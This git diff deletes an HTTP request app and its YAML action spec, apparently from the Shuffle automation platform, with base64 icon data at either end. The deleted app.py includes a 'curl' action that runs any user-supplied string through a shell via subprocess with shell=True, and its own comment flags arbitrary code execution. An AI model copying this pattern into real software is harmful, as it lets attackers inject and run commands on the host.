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 diff --git a/http/1.2.0/requirements.txt b/http/1.2.0/requirements.txt deleted file mode 100644 index ae3e5391..00000000 --- a/http/1.2.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -uncurl==0.0.10 -requests==2.25.1 \ No newline at end of file diff --git a/http/1.2.0/src/app.py b/http/1.2.0/src/app.py deleted file mode 100755 index de56d29c..00000000 --- a/http/1.2.0/src/app.py +++ /dev/null @@ -1,403 +0,0 @@ -import time -import json -import ast -import random -import socket -import uncurl -import asyncio -import requests -import subprocess - -from walkoff_app_sdk.app_base import AppBase - -class HTTP(AppBase): - __version__ = "1.2.0" - app_name = "http" - - def __init__(self, redis, logger, console_logger=None): - print("INIT") - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is dangerously fun :) - # Do we care about arbitrary code execution here? - def curl(self, statement): - process = subprocess.Popen(statement, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True) - stdout = process.communicate() - item = "" - if len(stdout[0]) > 0: - print("Succesfully ran bash!") - item = stdout[0] - else: - print("FAILED to run bash!") - item = stdout[1] - - try: - ret = item.decode("utf-8") - return ret - except: - return item - - return item - #try: - # if not statement.startswith("curl "): - # statement = "curl %s" % statement - - # data = uncurl.parse(statement) - # request = eval(data) - # if isinstance(request, requests.models.Response): - # return request.text - # else: - # return "Unable to parse the curl parameter. Remember to start with curl " - #except: - # return "An error occurred during curl parsing" - - def splitheaders(self, headers): - parsed_headers = {} - if headers: - split_headers = headers.split("\n") - self.logger.info(split_headers) - for header in split_headers: - if ": " in header: - splititem = ": " - elif ":" in header: - splititem = ":" - elif "= " in header: - splititem = "= " - elif "=" in header: - splititem = "=" - else: - self.logger.info("Skipping header %s as its invalid" % header) - continue - - splitheader = header.split(splititem) - if len(splitheader) == 2: - parsed_headers[splitheader[0]] = splitheader[1] - else: - self.logger.info("Skipping header %s with split %s cus only one item" % (header, splititem)) - continue - - return parsed_headers - - def checkverify(self, verify): - if verify == None: - return False - elif verify: - return True - elif not verify: - return False - elif verify.lower().strip() == "false": - return False - else: - return True - - def checkbody(self, body): - # Indicates json - if isinstance(body, str): - if body.strip().startswith("{"): - body = json.dumps(ast.literal_eval(body)) - - - # Not sure if loading is necessary - # Seemed to work with plain string into data=body too, and not parsed json=body - #try: - # body = json.loads(body) - #except json.decoder.JSONDecodeError as e: - # return body - - return body - else: - return body - - if isinstance(body, dict) or isinstance(body, list): - try: - body = json.dumps(body) - except: - return body - - return body - - def fix_url(self, url): - # Random bugs seen by users - if "hhttp" in url: - url = url.replace("hhttp", "http") - - if "http:/" in url and not "http://" in url: - url = url.replace("http:/", "http://", -1) - if "https:/" in url and not "https://" in url: - url = url.replace("https:/", "https://", -1) - if "http:///" in url: - url = url.replace("http:///", "http://", -1) - if "https:///" in url: - url = url.replace("https:///", "https://", -1) - if not "http://" in url and not "http" in url: - url = f"http://{url}" - - return url - - def return_file(self, requestdata): - filedata = { - "filename": "response.txt", - "data": requestdata, - } - fileret = self.set_files([filedata]) - if len(fileret) == 1: - return {"success": True, "file_id": fileret[0]} - - return fileret - - def GET(self, url, headers="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.get(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - def POST(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.post(url, headers=parsed_headers, auth=auth, data=body, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - # UNTESTED BELOW HERE - def PUT(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.put(url, headers=parsed_headers, auth=auth, data=body, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - def PATCH(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.patch(url, headers=parsed_headers, data=body, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - def DELETE(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.delete(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - def HEAD(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.head(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - def OPTIONS(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.options(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return request.text - - return self.return_file(request.text) - - -# Run the actual thing after we've checked params -def run(request): - print("Starting cloud!") - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - HTTP.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - HTTP.run() diff --git a/http/1.3.0/Dockerfile b/http/1.3.0/Dockerfile deleted file mode 100644 index 9bbc5110..00000000 --- a/http/1.3.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -RUN apk add curl - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/http/1.3.0/api.yaml b/http/1.3.0/api.yaml deleted file mode 100644 index 1fee36c4..00000000 --- a/http/1.3.0/api.yaml +++ /dev/null @@ -1,522 +0,0 @@ -walkoff_version: 1.3.0 -app_version: 1.3.0 -name: http -description: HTTP app -tags: - - Testing - - HTTP -categories: - - Other - - HTTP -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: GET - description: Runs a GET request towards the specified endpoint - parameters: - - name: url - description: The URL to get - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Check certificate - multiline: false - options: - - false - - true - required: false - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - - name: to_file - description: Makes the response into a file, and returns it as an ID - multiline: false - required: false - options: - - false - - true - example: "true" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: POST - description: Runs a POST request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PATCH - description: Runs a PATCH request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PUT - description: Runs a PUT request towards the specified endpoint - parameters: - - name: url - description: The URL to PUT to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: DELETE - description: Runs a DELETE request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - true - - false - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: HEAD - description: Runs a HEAD request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: OPTIONS - description: Runs a OPTIONS request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: curl - description: Run a curl command - parameters: - - name: statement - description: The curl command to run - multiline: true - example: "curl https://example.com" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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